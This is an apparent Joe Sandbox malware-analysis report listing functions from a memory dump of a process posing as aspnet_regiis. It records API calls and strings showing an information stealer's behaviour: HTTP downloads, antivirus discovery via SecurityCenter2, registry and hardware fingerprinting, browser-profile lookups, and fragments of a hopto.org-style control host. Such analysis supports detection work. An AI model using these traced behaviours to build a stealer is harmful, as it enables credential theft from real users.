Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: InternetOpen$CloseCreateHandlelstrcpy$EventHeapProcessProcess32strtok_s$AllocateConnectDirectoryExitFirstH_prolog3_catch_HttpNameNextOptionRequestSleepSnapshotToolhelp32Userlstrcatlstrlen
String ID: .exe$.exe$_DEBUG.zip$bb7310eab4245006f125c442da2d1e50$cowod.$hopto$http://$org
API String ID: 2665860859-4208217514
Opcode ID: 7b25bb2eaa3a6cd7e0aea663192725cd6b06aabe44a9b574830072b1d532ec21
Instruction ID: 6931a3cdf0a24aa58a91b10b9e7b8ba7caee6cf73e2bca90393059e53503fd57
Opcode Fuzzy Hash: 7b25bb2eaa3a6cd7e0aea663192725cd6b06aabe44a9b574830072b1d532ec21
Instruction Fuzzy Hash: A89231715483419FC620FF26D94268EB7E1FF84308F51482FF58467191DBB8AA8D8B9B

Function 004135A8 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 262stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004135EA
StrCmpCA.SHLWAPI(?,true), ref: 004136AC

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,00417174,004366CF,004366CE,?,?,?,?,0041858F), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,00417174,004366CF,004366CE,?,?,?,?,0041858F), ref: 00410581

lstrcpyA.KERNEL32(?,?), ref: 0041376E
lstrcpyA.KERNEL32(?,00000000), ref: 0041379F
lstrcpyA.KERNEL32(?,00000000), ref: 004137DB
lstrcpyA.KERNEL32(?,00000000), ref: 00413817
lstrcpyA.KERNEL32(?,00000000), ref: 00413853
lstrcpyA.KERNEL32(?,00000000), ref: 0041388F
lstrcpyA.KERNEL32(?,00000000), ref: 004138CB
strtok_s.MSVCRT ref: 0041398F

Strings

true, xrefs: 004136A6
false, xrefs: 004136C5

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: lstrcpy$strtok_s$lstrlen
String ID: false$true
API String ID: 2116072422-2658103896
Opcode ID: a279cf5f2d9bb332d4ea2d779ea3926242373e75fc1a37c080be92b7bd300130
Instruction ID: c59aadfba82ba9961634352731141a8533392cfc76d17a14f51357a5b51db833
Opcode Fuzzy Hash: a279cf5f2d9bb332d4ea2d779ea3926242373e75fc1a37c080be92b7bd300130
Instruction Fuzzy Hash: 5DB16DB5900218ABCF64EF55DC89ACA77B5BF18305F0001EAE549A7261EB75AFC4CF48

Function 00405237 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 161networkmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040527E
RtlAllocateHeap.NTDLL(00000000), ref: 00405285
InternetOpenA.WININET(?,00000000,00000000,00000000,00000000), ref: 004052A7
StrCmpCA.SHLWAPI(?), ref: 004052C1
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004052F1
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00405330
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405360
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040536B
HttpQueryInfoA.WININET(?,00000013,?,?,00000000), ref: 00405394
InternetReadFile.WININET(?,?,00000400,?), ref: 004053DA
InternetCloseHandle.WININET(?), ref: 00405439
InternetCloseHandle.WININET(?), ref: 00405445
InternetCloseHandle.WININET(?), ref: 00405451

Strings

\xA, xrefs: 00405250, 00405457, 0040539E
GET, xrefs: 00405325

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$HeapOpenRequest$AllocateConnectCrackFileInfoOptionProcessQueryReadSendlstrcpylstrlen
String ID: GET$\xA
API String ID: 442264750-571280152
Opcode ID: e5d221f0112c41c2442819da8cf0992f09120ff3d4c743fde11cfb3d63f6140b
Instruction ID: d8c65d4c733feb9e18663b71d867c9ad77c8898020ac32f61dd77686cef25eee
Opcode Fuzzy Hash: e5d221f0112c41c2442819da8cf0992f09120ff3d4c743fde11cfb3d63f6140b
Instruction Fuzzy Hash: B75118B1900A28AFDF21DF64DC84BEFBBB9EB08346F0050E6E509A2290D6755F858F55

Function 00411997 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 114comCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0041199E
CoInitializeEx.OLE32(00000000,00000000,00000030,00413F67,?,AV: ,004368C4,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 004119AD
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 004119BE
CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 004119D8
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411A0E
VariantInit.OLEAUT32(?), ref: 00411A5D

Part of subcall function 00411D42: LocalAlloc.KERNEL32(00000040,00000005,?,?,00411A80,?), ref: 00411D4A
Part of subcall function 00411D42: CharToOemW.USER32(?,00000000), ref: 00411D56

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

VariantClear.OLEAUT32(?), ref: 00411A8B

Strings

displayName, xrefs: 00411A6F
Unknown, xrefs: 00411A99
root\SecurityCenter2, xrefs: 004119F0
Unknown, xrefs: 00411AB4
Select * From AntiVirusProduct, xrefs: 00411A23
WQL, xrefs: 00411A28
Unknown, xrefs: 00411AA0

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: InitializeVariant$AllocBlanketCharClearCreateH_prolog3_catchInitInstanceLocalProxySecuritylstrcpy
String ID: Select * From AntiVirusProduct$Unknown$Unknown$Unknown$WQL$displayName$root\SecurityCenter2
API String ID: 4288110179-315474579
Opcode ID: 480d15d956828979c5f7302475284e9aad0b9c9fae78b991fe73a890f857e370
Instruction ID: 57f5dd6b1c42f14037633b54d5227166f1307bde404719c4590db73b27f854ba
Opcode Fuzzy Hash: 480d15d956828979c5f7302475284e9aad0b9c9fae78b991fe73a890f857e370
Instruction Fuzzy Hash: 6B314F70A44245BBCB20DB91DC49EEFBF7DEFC9B10F20561AF611A61A0C6B85941CB68

Function 00401284 Relevance: 24.1, APIs: 16, Instructions: 120stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004012A7
_memset.LIBCMT ref: 004012B6
lstrcatA.KERNEL32(?,0043A9EC), ref: 004012D0
lstrcatA.KERNEL32(?,0043A9F0), ref: 004012DE
lstrcatA.KERNEL32(?,0043A9F4), ref: 004012EC
lstrcatA.KERNEL32(?,0043A9F8), ref: 004012FA
lstrcatA.KERNEL32(?,0043A9FC), ref: 00401308
lstrcatA.KERNEL32(?,0043AA00), ref: 00401316
lstrcatA.KERNEL32(?,0043AA04), ref: 00401324
lstrcatA.KERNEL32(?,0043AA08), ref: 00401332
lstrcatA.KERNEL32(?,0043AA0C), ref: 00401340
lstrcatA.KERNEL32(?,0043AA10), ref: 0040134E
lstrcatA.KERNEL32(?,0043AA14), ref: 0040135C
lstrcatA.KERNEL32(?,0043AA18), ref: 0040136A
lstrcatA.KERNEL32(?,0043AA1C), ref: 00401378

Part of subcall function 00410C85: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C91
Part of subcall function 00410C85: HeapAlloc.KERNEL32(00000000,?,?,?,00401385), ref: 00410C98
Part of subcall function 00410C85: GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410CAC

ExitProcess.KERNEL32 ref: 004013E3

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: lstrcat$HeapProcess_memset$AllocComputerExitName
String ID:
API String ID: 1553874529-0
Opcode ID: 4e95ee71ea5f19c30ae725a6a9fe72d1a6a4a1b746d6da9d57ec7068e279e0e8
Instruction ID: 239c304b61717195b0da288002eafcd0eca44a14d3e88ecdb176445cbc2bad3c
Opcode Fuzzy Hash: 4e95ee71ea5f19c30ae725a6a9fe72d1a6a4a1b746d6da9d57ec7068e279e0e8
Instruction Fuzzy Hash: BD4196B2D4422C66DB20DB719C59FDB7BAC9F18310F5005A3A9D8F3181D67CDA84CB98

Function 00411203 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 155registrystringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,0043670F,00000000,?,?), ref: 00411273
RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 004112B0
wsprintfA.USER32 ref: 004112DD
RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 004112FC
RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 00411332
lstrlenA.KERNEL32(?), ref: 00411347

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,?,00436E8C), ref: 004113DC
RegCloseKey.ADVAPI32(?), ref: 00411446
RegCloseKey.ADVAPI32(?), ref: 00411466
RegCloseKey.ADVAPI32(?), ref: 00411472

Strings

- , xrefs: 004113E6
%s\%s, xrefs: 004112D7
?, xrefs: 00411263

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: Closelstrcpy$OpenQueryValuelstrlen$Enumlstrcatwsprintf
String ID: - $%s\%s$?
API String ID: 2394436309-3278919252
Opcode ID: 617242c50c5e9a7485eda1de3311a44ff0c10fdc2246e554a89d168bc2664c5f
Instruction ID: a1c3be3d6f3fdb40de360404d346c16f4973fffda027df273c7b2494bd9b7707
Opcode Fuzzy Hash: 617242c50c5e9a7485eda1de3311a44ff0c10fdc2246e554a89d168bc2664c5f
Instruction Fuzzy Hash: A861F6B590022C9BEF21DB15DD84EDAB7B9AB44708F1042E6A608A2121DF35AFC9CF54

Function 004109A2 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 110memorystringCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,?,?,00000000), ref: 004109D5
GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00410A15
GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 00410A6A
HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00410A71
wsprintfA.USER32 ref: 00410AA7
lstrcatA.KERNEL32(00000000,00436E3C), ref: 00410AB6

Part of subcall function 00411684: GetCurrentHwProfileA.ADVAPI32(?), ref: 0041169F
Part of subcall function 00411684: _memset.LIBCMT ref: 004116CE
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116F6
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00436ECC,?,?,?,?,?), ref: 00411713

lstrlenA.KERNEL32(?), ref: 00410ACD

Part of subcall function 004123D5: malloc.MSVCRT ref: 004123DA
Part of subcall function 004123D5: strncpy.MSVCRT ref: 004123EB

lstrcatA.KERNEL32(00000000,00000000), ref: 00410AF0

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Strings

C, xrefs: 004109DF
wA, xrefs: 00410B21
:\, xrefs: 00410A06
QuBi, xrefs: 00410A27

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$AllocCurrentDirectoryInformationProcessProfileVolumeWindows_memsetlstrcpylstrlenmallocstrncpywsprintf
String ID: wA$:\$C$QuBi
API String ID: 1856320939-1441494722
Opcode ID: 67b1be9e31ade1d1e820cd34b34a28b7063542f71b3e79275d8882d479f03449
Instruction ID: d36f890e74e7e8ef669b83a96deb31b174d36e7948efbde015f1e97a0a99ead9
Opcode Fuzzy Hash: 67b1be9e31ade1d1e820cd34b34a28b7063542f71b3e79275d8882d479f03449
Instruction Fuzzy Hash: B941AFB1A042289BCB249F749D85ADEBAB9EF19308F0000EAF109E3121E6758FD58F54

Function 004067ED Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00406836
StrCmpCA.SHLWAPI(?), ref: 00406856
InternetOpenUrlA.WININET(?,?,00000000,00000000,-00800100,00000000), ref: 00406877
CreateFileA.KERNEL32(?,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00406892
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004068C8
InternetReadFile.WININET(00000000,?,00000400,?), ref: 004068F8
CloseHandle.KERNEL32(?), ref: 00406923
InternetCloseHandle.WININET(00000000), ref: 0040692A
InternetCloseHandle.WININET(?), ref: 00406936

Strings

<+A, xrefs: 00406954

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID: <+A
API String ID: 2507841554-2778417545
Opcode ID: 856b629bf82c4ff1a83c675378c3e7c10b8657cdf3afe6ec6eeb97d6b7c5d7bf
Instruction ID: 1d44a0941bf69239cbc718c5fc054d573873141a30687fa59e6c761baef87c5b
Opcode Fuzzy Hash: 856b629bf82c4ff1a83c675378c3e7c10b8657cdf3afe6ec6eeb97d6b7c5d7bf
Instruction Fuzzy Hash: 22411CB1900128ABDF20DB21DD49BDA7BB9EB04315F1040B6BB09B21A1D6359E958FA9

Function 004168C6 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 79stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

Part of subcall function 00406963: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004069C5
Part of subcall function 00406963: StrCmpCA.SHLWAPI(?), ref: 004069DF
Part of subcall function 00406963: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406A0E
Part of subcall function 00406963: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00406A4D
Part of subcall function 00406963: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406A7D
Part of subcall function 00406963: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406A88
Part of subcall function 00406963: HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406AAC

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

StrCmpCA.SHLWAPI(?,ERROR), ref: 0041691A
lstrlenA.KERNEL32(?), ref: 00416925

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

StrStrA.SHLWAPI(00000000,?), ref: 0041693A
lstrlenA.KERNEL32(?), ref: 00416949
lstrlenA.KERNEL32(00000000), ref: 00416962

Strings

ERROR, xrefs: 0041697E
ERROR, xrefs: 0041696D
ERROR, xrefs: 00416914
ERROR, xrefs: 00416977
ERROR, xrefs: 00416985

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: HttpInternetlstrcpylstrlen$OpenRequest$AllocConnectInfoLocalOptionQuerySend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 4174444224-1526165396
Opcode ID: cba5ef62937bcd0ece7cfbe729aa70542ea14c206f344e1eed86aa985cb31328
Instruction ID: f999f3c62c0b23b7ff363c4994354db6f8ba44fc0c3398813b2d55053c878ef3
Opcode Fuzzy Hash: cba5ef62937bcd0ece7cfbe729aa70542ea14c206f344e1eed86aa985cb31328
Instruction Fuzzy Hash: 6021E571910204ABCB10BB75DC469DD77B8AF04308F11512BFC05E3191DB7DD9858F99

Function 0040EABC Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 290COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(0094C481), ref: 0040EAF9
StrCmpCA.SHLWAPI(0094C481), ref: 0040EB56
StrCmpCA.SHLWAPI(0094C481,firefox), ref: 0040EE1D
StrCmpCA.SHLWAPI(0094C481), ref: 0040EC33

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

StrCmpCA.SHLWAPI(0094C481), ref: 0040ECE3
StrCmpCA.SHLWAPI(0094C481), ref: 0040ED40

Strings

firefox, xrefs: 0040EE17
Stable\, xrefs: 0040EB71
Stable\, xrefs: 0040ED5B

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
